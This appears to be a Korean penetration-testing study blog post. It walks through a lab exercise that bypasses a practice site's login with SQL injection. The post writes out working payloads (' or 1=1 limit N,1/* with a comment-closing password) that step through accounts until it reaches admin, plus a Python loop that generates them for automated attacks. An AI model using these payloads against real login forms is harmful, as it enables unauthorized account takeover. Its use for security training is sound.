실습> 관리자로 로그인하기
-- 조건 --
userid 가 admin 이라는 것을 모른다는 전제하에 공격을 시도한다.
컬럼명을 모른다는 전제하에 공격을 시도한다.
-- 조건 --
1. member 테이블 초기화
member 테이블을 초기화 한다.
# mysql -e 'truncate mywebsite.member'
# mysql -e 'select * from mywebsite.member'
2. 데이터 저장
mywebsite.member 테이블에 데이터를 저장한다.
# mysql -e "
INSERT INTO mywebsite.member VALUES (1,'공격자','test', password('111111'),'attack@a.com','192.168.108.1',now());
INSERT INTO mywebsite.member VALUES (2,'블랙햇','blackhat', password('111111'),'test@naver.com','192.168.108.1',now());
INSERT INTO mywebsite.member VALUES (3,'관리자','admin',password('111111'),'admin','192.168.101.1',now());
"
# mysql -e 'select * from mywebsite.member\G'
*************************** 1. row ***************************
no: 1
username: 공격자
userid: test
userpass: *FD571203974BA9AFE270FE62151AE967ECA5E0AA
useremail: attack@a.com
ipaddr: 192.168.108.1
date: 2022-01-23 04:31:35
*************************** 2. row ***************************
no: 2
username: 블랙햇
userid: blackhat
userpass: *FD571203974BA9AFE270FE62151AE967ECA5E0AA
useremail: test@naver.com
ipaddr: 192.168.108.1
date: 2022-01-23 04:31:35
*************************** 3. row ***************************
no: 3
username: 관리자
userid: admin
userpass: *FD571203974BA9AFE270FE62151AE967ECA5E0AA
useremail: admin
ipaddr: 192.168.101.1
date: 2022-01-23 04:31:35
>>> 풀이 <<<
# mysql -e 'select no,username,userid from mywebsite.member\G'
*************************** 1. row ***************************
no: 1
username: 공격자
userid: test
*************************** 2. row ***************************
no: 2
username: 블랙햇
userid: blackhat
*************************** 3. row ***************************
no: 3
username: 관리자
userid: admin
mysql -e 'select no,username,userid from mywebsite.member'
+----+-----------+----------+
| no | username | userid |
+----+-----------+----------+
| 1 | 공격자 | test | <-- limit 0,1
| 2 | 블랙햇 | blackhat | <-- limit 1,1
| 3 | 관리자 | admin | <-- limit 2,1
+----+-----------+----------+
# mysql -e 'select no,username,userid from mywebsite.member limit 0,1'
+----+-----------+--------+
| no | username | userid |
+----+-----------+--------+
| 1 | 공격자 | test |
+----+-----------+--------+
# mysql -e 'select no,username,userid from mywebsite.member limit 1,1'
+----+-----------+----------+
| no | username | userid |
+----+-----------+----------+
| 2 | 블랙햇 | blackhat |
+----+-----------+----------+
# mysql -e 'select no,username,userid from mywebsite.member limit 2,1'
+----+-----------+--------+
| no | username | userid |
+----+-----------+--------+
| 3 | 관리자 | admin |
+----+-----------+--------+
아이디 : ' or 1=1 limit 0,1/*
비밀번호 : */#
SELECT * FROM member
WHERE
userid='' or 1=1 limit 0,1/*'
and
userpass=password('*/#')
test 사용자로 로그인
로그아웃
아이디 : ' or 1=1 limit 1,1/*
비밀번호 : */#
SELECT * FROM member
WHERE
userid='' or 1=1 limit 1,1/*'
and
userpass=password('*/#')
blackhat 사용자로 로그인
로그아웃
아이디 : ' or 1=1 limit 2,1/*
비밀번호 : */#
SELECT * FROM member
WHERE
userid='' or 1=1 limit 2,1/*'
and
userpass=password('*/#')
드디어!!!
admin 사용자로 로그인
파이썬에서 limit의 값을 변경하는 코드
향후 파이썬을 이용해서 자동화 로그인 공격코드를 작성할 수 있다.
i = 0
count = 5
while i < count:
# query = "' or 1=1 limit %d,1/*" %i
query = f"' or 1=1 limit {i},1/*"
print(query)
i += 1
http://192.168.108.101/?id=bbs1&m=list
내부적으로 실행되는 코드 : SELECT * FROM bbs1 ORDER BY no DESC
http://192.168.108.101/?id=bbs1'&m=list
내부적으로 실행되는 코드 : SELECT * FROM bbs1' ORDER BY no DESC'Linux > 모의해킹' 카테고리의 다른 글
| Python 을 이용한 자동화 툴 만들기 (0) | 2022.01.26 |
|---|---|
| UNION 을 이용한 데이터 추출 (0) | 2022.01.26 |
| SQLi 를 로그를 통해 좀 더 쉽게 분석 (0) | 2022.01.26 |
| SQLi 을 이용해서 로그인하기 (0) | 2022.01.26 |
| CSRF 를 이용한 게시판 글쓰기 2 (1) | 2022.01.25 |